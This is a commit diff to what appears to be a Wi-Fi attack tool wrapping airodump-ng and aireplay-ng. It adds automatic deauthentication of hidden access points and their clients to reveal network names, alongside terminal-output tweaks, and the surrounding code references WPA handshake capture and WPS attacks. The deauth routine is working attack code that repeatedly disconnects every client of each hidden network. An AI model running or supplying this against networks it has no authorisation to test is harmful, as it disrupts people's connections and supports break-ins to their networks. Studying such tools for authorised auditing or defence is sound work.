Decloak hidden APs when channel is fixed
This commit is contained in:
@@ -7,7 +7,7 @@ from Target import Target
|
|||||||
from Client import Client
|
from Client import Client
|
||||||
from Wash import Wash
|
from Wash import Wash
|
||||||
|
|
||||||
import os
|
import os, time
|
||||||
|
|
||||||
class Airodump(object):
|
class Airodump(object):
|
||||||
''' Wrapper around airodump-ng program '''
|
''' Wrapper around airodump-ng program '''
|
||||||
@@ -42,6 +42,11 @@ class Airodump(object):
|
|||||||
self.ivs_only = ivs_only
|
self.ivs_only = ivs_only
|
||||||
self.skip_wash = skip_wash
|
self.skip_wash = skip_wash
|
||||||
|
|
||||||
|
# For tracking decloaked APs (previously were hidden)
|
||||||
|
self.decloaking = False
|
||||||
|
self.decloaked_targets = []
|
||||||
|
self.decloaked_times = {} # Map of BSSID(str) -> epoch(int) of last deauth
|
||||||
|
|
||||||
|
|
||||||
def __enter__(self):
|
def __enter__(self):
|
||||||
'''
|
'''
|
||||||
@@ -146,7 +151,15 @@ class Airodump(object):
|
|||||||
# Sort by power
|
# Sort by power
|
||||||
targets.sort(key=lambda x: x.power, reverse=True)
|
targets.sort(key=lambda x: x.power, reverse=True)
|
||||||
|
|
||||||
|
for old_target in self.targets:
|
||||||
|
for new_target in targets:
|
||||||
|
if old_target.bssid != new_target.bssid: continue
|
||||||
|
if new_target.essid_known and not old_target.essid_known:
|
||||||
|
# We decloaked a target!
|
||||||
|
self.decloaked_targets.append(new_target)
|
||||||
|
|
||||||
self.targets = targets
|
self.targets = targets
|
||||||
|
self.deauth_hidden_targets()
|
||||||
|
|
||||||
return self.targets
|
return self.targets
|
||||||
|
|
||||||
@@ -240,6 +253,41 @@ class Airodump(object):
|
|||||||
i += 1
|
i += 1
|
||||||
return result
|
return result
|
||||||
|
|
||||||
|
def deauth_hidden_targets(self):
|
||||||
|
'''
|
||||||
|
Sends deauths (to broadcast and to each client) for all
|
||||||
|
targets (APs) that have unknown ESSIDs (hidden router names).
|
||||||
|
'''
|
||||||
|
self.decloaking = False
|
||||||
|
# Only deauth if channel is fixed.
|
||||||
|
if self.channel is None: return
|
||||||
|
|
||||||
|
# Reusable deauth command
|
||||||
|
deauth_cmd = [
|
||||||
|
'aireplay-ng',
|
||||||
|
'-0', # Deauthentication
|
||||||
|
'1', # Number of deauths to perform.
|
||||||
|
'--ignore-negative-one'
|
||||||
|
]
|
||||||
|
for target in self.targets:
|
||||||
|
if target.essid_known: continue
|
||||||
|
now = int(time.time())
|
||||||
|
secs_since_decloak = now - self.decloaked_times.get(target.bssid, 0)
|
||||||
|
# Decloak every AP once every 30 seconds
|
||||||
|
if secs_since_decloak < 30: continue
|
||||||
|
self.decloaking = True
|
||||||
|
self.decloaked_times[target.bssid] = now
|
||||||
|
if Configuration.verbose > 1:
|
||||||
|
from Color import Color
|
||||||
|
verbout = " [?] Deauthing %s" % target.bssid
|
||||||
|
verbout += " (broadcast & %d clients)" % len(target.clients)
|
||||||
|
Color.pe("\n{C}" + verbout + "{W}")
|
||||||
|
# Deauth broadcast
|
||||||
|
iface = Configuration.interface
|
||||||
|
Process(deauth_cmd + ['-a', target.bssid, iface])
|
||||||
|
# Deauth clients
|
||||||
|
for client in target.clients:
|
||||||
|
Process(deauth_cmd + ['-c', client.bssid, iface])
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
''' Example usage. wlan0mon should be in Monitor Mode '''
|
''' Example usage. wlan0mon should be in Monitor Mode '''
|
||||||
|
|||||||
@@ -36,7 +36,7 @@ class AttackWPA(Attack):
|
|||||||
target_bssid=self.target.bssid,
|
target_bssid=self.target.bssid,
|
||||||
output_file_prefix='wpa') as airodump:
|
output_file_prefix='wpa') as airodump:
|
||||||
|
|
||||||
Color.clear_line()
|
Color.clear_entire_line()
|
||||||
Color.pattack("WPA", self.target, "Handshake capture", "Waiting for target to appear...")
|
Color.pattack("WPA", self.target, "Handshake capture", "Waiting for target to appear...")
|
||||||
airodump_target = self.wait_for_target(airodump)
|
airodump_target = self.wait_for_target(airodump)
|
||||||
|
|
||||||
|
|||||||
@@ -302,7 +302,7 @@ class AttackWPS(Attack):
|
|||||||
state = '{R}rate-limited{W}'
|
state = '{R}rate-limited{W}'
|
||||||
if Configuration.wps_skip_rate_limit:
|
if Configuration.wps_skip_rate_limit:
|
||||||
Color.pl(state)
|
Color.pl(state)
|
||||||
Color.pl('{!} {R}hit rate limit, stopping{W}\n')
|
Color.pl('{!} {R}hit rate limit, stopping{W}')
|
||||||
Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
|
Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
|
||||||
' this kind of failure in the future{W}')
|
' this kind of failure in the future{W}')
|
||||||
break
|
break
|
||||||
|
|||||||
@@ -74,6 +74,12 @@ class Color(object):
|
|||||||
sys.stdout.flush()
|
sys.stdout.flush()
|
||||||
Color.last_sameline_length = 0
|
Color.last_sameline_length = 0
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def clear_entire_line():
|
||||||
|
import os
|
||||||
|
(rows, columns) = os.popen('stty size', 'r').read().split()
|
||||||
|
Color.p("\r" + (" " * int(columns)) + "\r")
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def pattack(attack_type, target, attack_name, progress):
|
def pattack(attack_type, target, attack_name, progress):
|
||||||
'''
|
'''
|
||||||
|
|||||||
@@ -49,11 +49,20 @@ class Scanner(object):
|
|||||||
client_count = sum(
|
client_count = sum(
|
||||||
[len(t.clients)
|
[len(t.clients)
|
||||||
for t in self.targets])
|
for t in self.targets])
|
||||||
Color.p(
|
outline = "\r{+} Scanning"
|
||||||
'\r{+} scanning, found' +
|
if airodump.decloaking:
|
||||||
' {G}%d{W} target(s),' % target_count +
|
outline += " & decloaking"
|
||||||
' {G}%d{W} client(s).' % client_count +
|
outline += ". Found"
|
||||||
' {O}Ctrl+C{W} when ready')
|
outline += " {G}%d{W} target(s)," % target_count
|
||||||
|
outline += " {G}%d{W} client(s)." % client_count
|
||||||
|
outline += " {O}Ctrl+C{W} when ready "
|
||||||
|
decloaked = airodump.decloaked_targets
|
||||||
|
if len(decloaked) > 0:
|
||||||
|
outline += "(decloaked"
|
||||||
|
outline += " {C}%d{W} ESSIDs:" % len(decloaked)
|
||||||
|
outline += " {G}%s{W}) " % ", ".join([x.essid for x in decloaked])
|
||||||
|
Color.clear_entire_line()
|
||||||
|
Color.p(outline)
|
||||||
sleep(1)
|
sleep(1)
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
pass
|
pass
|
||||||
@@ -118,6 +127,7 @@ class Scanner(object):
|
|||||||
Target.print_header()
|
Target.print_header()
|
||||||
for (index, target) in enumerate(self.targets):
|
for (index, target) in enumerate(self.targets):
|
||||||
index += 1
|
index += 1
|
||||||
|
Color.clear_entire_line()
|
||||||
Color.pl(' {G}%s %s' % (str(index).rjust(3), target))
|
Color.pl(' {G}%s %s' % (str(index).rjust(3), target))
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
@@ -126,6 +136,12 @@ class Scanner(object):
|
|||||||
(rows, columns) = os.popen('stty size', 'r').read().split()
|
(rows, columns) = os.popen('stty size', 'r').read().split()
|
||||||
return int(rows)
|
return int(rows)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_terminal_width():
|
||||||
|
import os
|
||||||
|
(rows, columns) = os.popen('stty size', 'r').read().split()
|
||||||
|
return int(columns)
|
||||||
|
|
||||||
def select_targets(self):
|
def select_targets(self):
|
||||||
''' Asks user to select target(s) '''
|
''' Asks user to select target(s) '''
|
||||||
|
|
||||||
@@ -139,6 +155,7 @@ class Scanner(object):
|
|||||||
+ " or you may have issues with your wifi card")
|
+ " or you may have issues with your wifi card")
|
||||||
|
|
||||||
self.print_targets()
|
self.print_targets()
|
||||||
|
Color.clear_entire_line()
|
||||||
input_str = '{+} select target(s)'
|
input_str = '{+} select target(s)'
|
||||||
input_str += ' ({G}1-%d{W})' % len(self.targets)
|
input_str += ' ({G}1-%d{W})' % len(self.targets)
|
||||||
input_str += ' separated by commas, dashes'
|
input_str += ' separated by commas, dashes'
|
||||||
|
|||||||
Reference in New Issue
Block a user